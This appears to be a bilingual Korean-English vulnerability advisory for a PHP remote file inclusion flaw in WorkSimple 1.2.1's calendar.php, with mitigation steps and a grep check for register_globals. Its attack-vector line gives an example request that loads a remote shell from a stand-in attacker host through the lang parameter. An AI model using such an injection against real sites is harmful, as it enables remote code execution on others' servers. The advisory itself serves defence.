🇰🇷 한글 설명
WorkSimple 1.2.1의 calendar.php에 존재하는 PHP 원격 파일 포함 취약점으로, register_globals가 활성화된 경우 lang 파라미터를 통해 원격 공격자가 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹사이트가 사용자의 입력을 검증하지 않고 다른 서버에서 파일을 가져오도록 설정되어 있어, 공격자가 악의적인 코드가 포함된 파일을 실행시킬 수 있습니다. register_globals 설정이 활성화된 PHP 환경에서 특히 위험합니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in calendar.php in WorkSimple 1.2.1, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the lang parameter.
📍 영향받는 시스템
WorkSimple 1.2.1 이하 (register_globals enabled)
⚔️ 공격 벡터
lang 파라미터에 원격 URL을 주입하여 임의의 PHP 파일 포함 및 실행 (예: /calendar.php?lang=http://attacker.com/shell.php)
🛡️ 대응 방법
WorkSimple을 최신 버전으로 업그레이드하거나, register_globals를 비활성화하며, 입력값 검증 및 화이트리스트 필터링 적용
🔧 검증 코드
명령어 결과에서 register_globals가 on 또는 1로 표시되면 취약, 비활성화되거나 결과 없으면 안전
grep -r 'register_globals' /etc/php* 2>/dev/null | grep -i 'on\|1' || echo 'register_globals disabled (safe)'